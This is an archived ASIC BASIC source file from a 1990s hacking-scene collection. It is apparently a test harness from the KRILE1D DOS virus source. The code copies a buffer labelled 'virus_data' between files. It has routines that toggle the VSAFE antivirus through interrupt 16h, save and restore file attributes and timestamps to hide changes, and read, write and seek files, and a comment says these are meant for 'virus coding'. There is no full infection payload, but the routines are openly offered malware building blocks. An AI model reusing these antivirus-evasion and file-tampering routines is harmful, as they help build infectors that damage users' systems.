home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / CASIOCOL.ZIP / KRILE1D.ZIP / SOURCE.ZIP / TESTMEM.ASI < prev   
Text File  |  1997-11-24  |  3KB  |  138 lines

  1. call sub"Criterror!"
  2. virus_size=5284
  3. call sub "AllocDos" virus_size, virus_data
  4. filename$="image.dat"
  5. dx=virus_data
  6. bytesize=5284
  7. gosub open_file:
  8. dx=virus_data
  9. bytesize=5284
  10. gosub read_file:
  11. gosub close_file:
  12. filename$="image.bak"
  13. gosub open_file:
  14. dx=virus_data
  15. bytesize=5284
  16. gosub write_file:
  17. gosub close_file:
  18. print virus_data
  19. y=virus_data
  20. z=y+32
  21. for x=y to z
  22. a=peek(x)
  23. a$=chr$(a)
  24. print a$;
  25. next x
  26. end
  27. rem miscallenous file i/o routines beyond this point. Boring to  look
  28. rem at.:)
  29.  
  30. get_attr:
  31. AX = &HEX4300
  32. DX = VARPTR(Filename$)
  33. CX = NewAttr
  34. INT86(&HEX21,AX,NA,CX,DX,NA,NA,NA,NA,NA)
  35. return
  36.  
  37. set_attr:
  38. AX = &HEX4301
  39. DX = VARPTR(Filename$)
  40. CX = NewAttr
  41. INT86(&HEX21,AX,NA,CX,DX,NA,NA,NA,NA,NA)
  42. return
  43.  
  44. vsafe_toggle:
  45. ax=&hexfa02
  46. dx=&hex5945
  47. bx=vsafe_stats
  48. int86(&hex16,ax,bx,cx,dx,na,na,na,na,na)
  49. return
  50.  
  51. get_fdt:
  52. if file_handle>4 then
  53. AX=&HEX5700
  54. BX=FILE_HANDLE
  55. INT86(&HEX21,AX,BX,CX,DX,NA,NA,NA,NA,NA)
  56. NEWDATE=CX
  57. NEWTIME=DX
  58. endif
  59. RETURN
  60.  
  61. set_fdt:
  62. if file_handle>4 then
  63. AX=&HEX5701
  64. BX=FILE_HANDLE
  65. CX=NEWDATE
  66. DX=NEWTIME
  67. INT86(&HEX21,AX,BX,CX,DX,NA,NA,NA,NA,NA)
  68. endif
  69. RETURN
  70.  
  71. rem DOS int file i/o driven code beyond this point :)
  72.  
  73. rem ax=&hex3d00
  74. rem ax opens file for read in this mode :-)
  75. rem ax=&hex3d01
  76. rem ax opens file for write in this mode :-)
  77. rem ax=&hex3d02
  78. rem ax opens file for read/write access :) hehehe
  79.  
  80. open_file:
  81. AX=&HEX3D02
  82. DX = VARPTR(Filename$)
  83. INT86(&HEX21,AX,NA,na,DX,NA,NA,NA,NA,NA)
  84. file_handle=ax
  85. return
  86.  
  87. write_file:
  88. rem this routine will write selected bytes at whatever current position
  89. rem from whatever buffer i choose into the file.
  90. rem if the routine did not write all data ax will not equal cx upon
  91. rem return from int call.
  92. rem define dx register before calling this routine to point to the
  93. rem memory address of the buffer area you want to write from. like so:
  94. rem dx=varptr(buffer(0))
  95. rem cx is how many bytes to write :)
  96. if file_handle>4 then
  97. ax=&hex4000
  98. bx=file_handle
  99. cx=bytesize
  100. int86(&hex21,ax,bx,cx,dx,na,na,na,na,na)
  101. byteswritten=ax
  102. endif
  103. return
  104.  
  105. read_file:
  106. rem as the name implies, it reads bytes into a buffer. :-)
  107. rem as with write_file, you need to predefine the dx register for the
  108. rem buffer where you want the info stored. Like so: dx=varptr(buffer(0))
  109. rem if you don't, this routine will not work, or will overwrite some
  110. rem other section of memory. And for virus coding, this is very bad! :)
  111. rem cx register is how many bytes to read :)
  112. if file_handle>4 then
  113. ax=&hex3f00
  114. bx=file_handle
  115. cx=bytesize
  116. int86(&hex21,ax,bx,cx,dx,na,na,na,na,na)
  117. bytesread=ax
  118. endif
  119. return
  120.  
  121. close_file:
  122. rem This routine will close the selected file.
  123. rem do not try to close handle 2, very nasty... :-(
  124. if file_handle>4 then
  125. ax=&hex3e00
  126. bx=file_handle
  127. int86(&hex21,ax,bx,na,na,na,na,na,na,na)
  128. endif
  129. return
  130.  
  131. move_file_pointer:
  132. rem Moves file pointer from start of file to whereever I wanna go
  133. rem Routine called is patched(hacked) from asilib.lib
  134. method=0
  135. call sub "fseek" file_handle, move_way&, method, errcode
  136. return
  137.  
  138.